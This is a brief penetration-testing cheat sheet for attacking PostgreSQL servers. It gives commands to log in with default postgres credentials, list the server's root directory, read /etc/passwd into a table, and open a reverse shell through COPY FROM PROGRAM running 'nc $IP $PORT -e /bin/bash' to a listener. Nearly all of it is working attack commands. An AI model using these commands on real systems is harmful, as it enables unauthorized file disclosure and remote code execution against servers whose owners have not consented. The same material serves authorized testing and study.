psql -h $IP -p 5432 -U postgres -W postgres
\list, \c postgres, \d
select pg_ls_dir('/')
Read a file:
create table demo (t text); copy demo from '/etc/passwd'; select * from demo;
Shell:
Check Nibbles, splodge for RCE
Switch to db app:
\c app drop table if exists cmd_exec; create table cmd_exec(cmd_output text);
Setup nc listener
COPY cmd_exec FROM PROGRAM 'nc $IP $PORT -e /bin/bash';
Last updated 2 years ago